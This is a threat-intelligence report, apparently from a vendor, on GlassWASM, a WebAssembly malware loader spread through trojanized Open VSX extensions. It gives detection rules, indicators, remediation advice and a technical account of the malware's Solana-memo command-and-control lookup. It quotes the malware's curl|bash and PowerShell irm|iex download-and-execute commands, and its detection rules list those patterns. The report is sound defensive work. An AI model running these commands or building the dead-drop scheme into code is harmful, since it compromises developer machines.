GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions Using Solana Blockchain Dead-Drop C2 (GlassWorm Successor)

Key facts for GlassWASM Open VSX loader

Detection coverage for GlassWASM Open VSX loader

As of 2026-06-16, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0816 across Splunk SPL, Microsoft KQL and Sigma, covering 30 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: GlassWASM Node-Spawned Hidden Shell Download-and-Execute (curl|bash / irm|iex) — Post-Exploitation

Detects GlassWASM's fileless execution sink: a Node.js process (the editor extension host) spawning powershell.exe/bash/sh/curl to run a 'curl -fsSL https://<host>/<os>/i/_ | bash' or 'powershell irm <host>/win32/i/_ | iex' download-and-execute template, often with a hidden window (windowsHide:true). Targets the node->shell parent/child relationship plus the distinctive piped-execution command line and OS-segmented /darwin|/linux|/win32/i/_ paths.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1059.001, T1059.004, T1059.007, T1105, T1564.003
• Data sources: sysmon, microsoft_defender_for_endpoint, edr_process_telemetry
• Severity: critical
• Confidence: high

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval lc_parent=lower(ParentImage), lc_img=lower(Image), lc_cmd=lower(CommandLine)
| where (like(lc_parent,"%\\node.exe") OR like(lc_parent,"%/node")) AND (like(lc_img,"%\\powershell.exe") OR like(lc_img,"%\\pwsh.exe") OR like(lc_img,"%/bash") OR like(lc_img,"%/sh") OR like(lc_img,"%/curl") OR like(lc_img,"%\\curl.exe"))
| where match(lc_cmd, "irm\s") OR like(lc_cmd,"%| iex%") OR like(lc_cmd,"%iex%") OR like(lc_cmd,"%curl -fsssl%") OR like(lc_cmd,"%curl -fssl%") OR like(lc_cmd,"%| bash%") OR like(lc_cmd,"%/win32/i/_%") OR like(lc_cmd,"%/linux/i/_%") OR like(lc_cmd,"%/darwin/i/_%")
| stats count min(_time) as firstSeen by Computer, User, ParentImage, Image, CommandLine
| eval firstSeen=strftime(firstSeen,"%Y-%m-%dT%H:%M:%S")

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where FileName in~ ("powershell.exe", "pwsh.exe", "bash", "sh", "curl", "curl.exe")
| extend cmd = tolower(ProcessCommandLine)
| where cmd matches regex @"irm\s" or cmd has "| iex" or cmd has "iex" or cmd has "curl -fssl" or cmd has "curl -fsssl" or cmd has "| bash" or cmd has "/win32/i/_" or cmd has "/linux/i/_" or cmd has "/darwin/i/_"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| sort by Timestamp desc

Sigma

title: GlassWASM Node-Spawned Shell Download-and-Execute
id: 7f1b2c34-0816-4a02-9c12-bb02nodeshell2
status: experimental
description: Detects a Node.js process spawning a shell/curl to perform a piped download-and-execute (curl|bash or irm|iex) against OS-segmented /i/_ paths, matching GlassWASM's fileless loader sink.
references:
    - https://socket.dev/blog/glasswasm-malware-open-vsx-extensions
author: AII-Detector — ThreadLinqs Intelligence
date: 2026/06/16
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1059.004
    - attack.t1059.007
    - attack.command_and_control
    - attack.t1105
    - attack.defense_evasion
    - attack.t1564.003
logsource:
    category: process_creation
detection:
    parent_selection:
        ParentImage|endswith:
            - '\node.exe'
            - '/node'
    child_shell:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
            - '/bash'
            - '/sh'
            - '/curl'
            - '\curl.exe'
    pipe_pattern:
        CommandLine|contains:
            - 'irm '
            - '| iex'
            - 'curl -fsSL'
            - '| bash'
            - '/win32/i/_'
            - '/linux/i/_'
            - '/darwin/i/_'
    condition: parent_selection and child_shell and pipe_pattern
falsepositives:
    - Build tooling or extensions that legitimately fetch and execute scripts via node child_process
level: critical

Known false positives:

• Developer build scripts or extensions that legitimately invoke node child_process to spawn curl/PowerShell (rare with the irm|iex / curl|bash pipe and /i/_ paths combined)

Tuning notes: If node legitimately spawns shells in your build environment, anchor on the piped download-and-execute substrings ('| iex', '| bash', 'irm ', 'curl -fsSL') AND the OS-segmented '/i/_' path to cut noise. Add the hidden-window flag (windowsHide / -WindowStyle Hidden) as a corroborating field where available to raise confidence.

• 🔒 GlassWASM Trojanized Open VSX Extension Install from Recently-Created Publisher — Exploitation · unlock with TL Creds
• 🔒 GlassWASM Hidden-Window PowerShell irm|iex from Node Loader — Post-Exploitation · unlock with TL Creds
• 🔒 GlassWASM OS-Segmented Second-Stage Payload Download (/darwin|/linux|/win32/i/_) — C2 · unlock with TL Creds
• 🔒 GlassWASM TinyGo js/wasm Loader with ChaCha20 Runtime String Decryption — Exploitation · unlock with TL Creds
• 🔒 GlassWASM Unix Shell curl|bash Second-Stage Execution Spawned by Node — Post-Exploitation · unlock with TL Creds
• 🔒 GlassWASM Solana SPL-Memo Dead-Drop C2 Channel — C2 · unlock with TL Creds
• 🔒 GlassWASM Malicious WebAssembly Loader Dropped into Editor Extension Directory — Exploitation · unlock with TL Creds
• 🔒 GlassWASM Solana Blockchain Dead-Drop C2 Resolution from Developer/CI Host — C2 · unlock with TL Creds

Indicators of compromise for GlassWASM Open VSX loader

As of 2026-06-16, Threadlinqs Intelligence tracks 30 indicators of compromise for TL-2026-0816.

Sample indicators (3 of 30)

• IP address: 45.32.150[.]251
• Domain: dodod[.]lat
• URL: hxxps://api[.]mainnet[.]solana[.]com

Defanged, TLP:CLEAR. Full set of 30 indicators: unlock with TL Creds.

How GlassWASM Open VSX loader works

Assessed with medium confidence as a successor to the GlassWorm campaign.

GlassWASM is a WebAssembly-based supply-chain malware loader publicly documented by Socket.dev on 2026-06-15. It marks an evolution of the GlassWorm campaign: where GlassWorm hid obfuscated JavaScript in VS Code extensions, GlassWASM moves its malicious logic into a TinyGo-compiled WebAssembly (js/wasm) module, sidestepping JavaScript-centric scanners and presenting analysts with a 824,552-byte binary containing 478 functions and 45 data segments and no plaintext network indicators.

Delivery is a cross-registry trust-gap supply-chain attack against the Open VSX registry, which is the default extension marketplace for VS Code forks such as VSCodium, Cursor, Windsurf, and Gitpod. The actor operated GitHub account 'zaitoona43' (UID 291961103), created only three days before publication, to impersonate legitimate publishers and ship two trojanized extensions: exargd/vsblack@0.0.1 (published 2026-06-09) and noellee-doc/flint-debug@0.1.1 (published 2026-06-10).

The Wasm module embeds ChaCha20 runtime string encryption: all URLs, wallet addresses, and command templates are stored encrypted and decrypted only at runtime. The ChaCha20 sigma constant 'expand 32-byte k' sits at linear-memory offset 0x10000, and the 32-byte key is filled into BSS at runtime rather than stored statically, defeating static IOC extraction.

For C2, GlassWASM uses a Solana blockchain dead-drop resolver. It queries the public RPC endpoint https://api.mainnet.solana.com with getSignaturesForAddress (limit:50, paginated via 'before') against attacker wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, then fetches transactions with getTransaction (encoding:'jsonParsed') and parses SPL Memo program instructions (MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr v2 and Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM v1). The memo payload uses a numeric-prefix format '[N] payload' (e.g. '[9] dodod.lat'); the loader strips the bracketed prefix and treats the remainder as the active C2 host. Because the wallet is the only fixed point and the operator rotates hosts simply by posting new memos, there is no hardcoded server to seize or sinkhole.

The resolved host is interpolated into OS-specific fileless execution templates run through require('child_process').execSync() with windowsHide:true. Observed templates: macOS 'curl -fsSL https://<host>/darwin/i/_ | bash', Linux 'curl -fsSL https://<host>/linux/i/_ | bash', Windows 'powershell -Command "irm https://<host>/win32/i/_ | iex"'. As of 2026-06-11 the active host was dodod.lat (fronted by Cloudflare), serving second-stage payloads from /darwin/i/_, /linux/i/_, and /win32/i/_.

Attribution to the GlassWorm developer is medium confidence, based on three overlaps: an identical Solana-wallet-memo dead-drop mechanism, runtime-decrypted loaders with zero plaintext IOCs, and abuse of Open VSX via impersonating publisher accounts. The key divergence is the move from obfuscated JavaScript to TinyGo WebAssembly and the shift from prior GlassWorm IP-based infrastructure (45.32.150.251, 217.69.3.152, 45.150.34.158) to a domain-based, OS-segmented URL scheme.

MITRE ATT&CK techniques by tactic:

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts

Execution

T1059 Command and Scripting Interpreter

Command and Control

T1071 Application Layer Protocol; T1090 Proxy; T1102 Web Service; T1105 Ingress Tool Transfer; T1573 Encrypted Channel

Initial Access

T1195 Supply Chain Compromise; T1199 Trusted Relationship

Resource Development

T1583 Acquire Infrastructure; T1585 Establish Accounts; T1587 Develop Capabilities

Remediation for GlassWASM Open VSX loader

Immediate actions

• Block and alert on the domain dodod.lat at DNS/proxy/perimeter
• Alert on outbound Solana JSON-RPC calls to api.mainnet.solana.com from developer/CI hosts and on monitoring of wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz
• Remove the malicious extensions exargd/vsblack and noellee-doc/flint-debug from all editor extension directories (VSCodium, Cursor, Windsurf, Gitpod)

Workarounds

• Disable automatic extension updates/installs from Open VSX on managed developer fleets
• Egress-filter developer and CI environments to block public blockchain RPC and untrusted download hosts

Longer-term hardening

• Deploy EDR rules for 'node' spawning bash/curl/powershell or executing 'curl | bash' / 'irm | iex' patterns
• Flag WebAssembly modules importing gojs / syscall/js.* as high-risk in CI and endpoint telemetry
• Implement Wasm-aware static analysis in CI pipelines using wasm2c / wabt for deobfuscation of bundled .wasm assets
• Pin and review extension publishers; enforce allowlists for editor marketplaces and detect cross-registry impersonation

Affected and fixed versions

• Open VSX (Eclipse Foundation) — Open VSX Registry
  Vulnerable versions: registry trust model (cross-registry impersonation)
• VSCodium — VSCodium
  Vulnerable versions: all using Open VSX default registry
• Anysphere — Cursor
  Vulnerable versions: all using Open VSX default registry
• Codeium — Windsurf
  Vulnerable versions: all using Open VSX default registry
• Gitpod — Gitpod
  Vulnerable versions: all using Open VSX default registry

Timeline of GlassWASM Open VSX loader

• 2025-11-01 GlassWorm campaign first publicly documented: self-propagating VS Code extension worm using Solana blockchain memo C2 (predecessor to GlassWASM).
• 2026-05-23 Earliest identified GlassWASM Solana blockchain dead-drop memo posted to attacker wallet locked-ioc-7.
• 2026-06-06 GitHub/Open VSX publisher account 'locked-ioc-29' (UID 291961103) created, ~3 days before first malicious publication.
• 2026-06-09 Malicious extension locked-ioc-24 published to Open VSX.
• 2026-06-10 Malicious extension locked-ioc-18 published to Open VSX.
• 2026-06-11 Active second-stage C2 host observed as locked-ioc-30 (behind Cloudflare) via Solana memo '[9] locked-ioc-30'.
• 2026-06-15 Socket.dev publicly disclosed GlassWASM with full technical analysis and IOCs.
• 2026-06-16 Threadlinqs Intelligence documented the threat; BeaconBeagle returned no C2 correlations for locked-ioc-30 or historical GlassWorm IPs.

Sources cited for GlassWASM Open VSX loader

• GlassWorm on macOS: Malicious VS Code Extensions via Solana socprime.com · Research · 2026-01-01
• GlassWorm VS Code Extension Worm Analysis veracode.com · Vendor report · 2025-11-01
• GlassWorm - Self-Propagating VSCode Extension Worm truesec.com · Blog · 2025-11-01
• GlassWorm Returns, Slices Back into VS Code Extensions Dark Reading · News · 2025-12-01
• GlassWorm Malware Discovered in Three VS Code Extensions with Thousands of Installs The Hacker News · News · 2025-11-01
• GlassWorm Returns with 24 Malicious Extensions Impersonating Popular Developer Tools The Hacker News · News · 2025-12-01
• GlassWASM: Malware Hidden in WebAssembly Targets Open VSX Extensions socket.dev · Report · 2026-06-15

Threats related to GlassWASM Open VSX loader

• GlassWorm Supply Chain Attack: Fake Browser Extension & Multi-Stage RAT via Compromised Developer Packages
• GlassWorm Supply Chain Campaign: 73 Malicious Open VSX Extensions Using Transitive Dependencies

Previous and next in supply chain

• North Korean Threat Actors Weaponize Developer Tools (VS Code, npm, GitHub) for Cross-Platform Malware Delivery — Contagious Interview / UNK_DeadDrop Previous report
• Malicious npm Package 'shai_hulululud' (v1.0.48596): Prompt Injection, AI-Safety Triggering, and Token Flooding to Evade AI Malware Scanners (Shai-Hulud Lineage) Next report

Further reading

• TeamPCP Supply Chain Attack on Trivy, LiteLLM
• Axios Supply Chain Attack: Cross-Platform RATs
• npm Supply Chain Attacks 2026: 218 Packages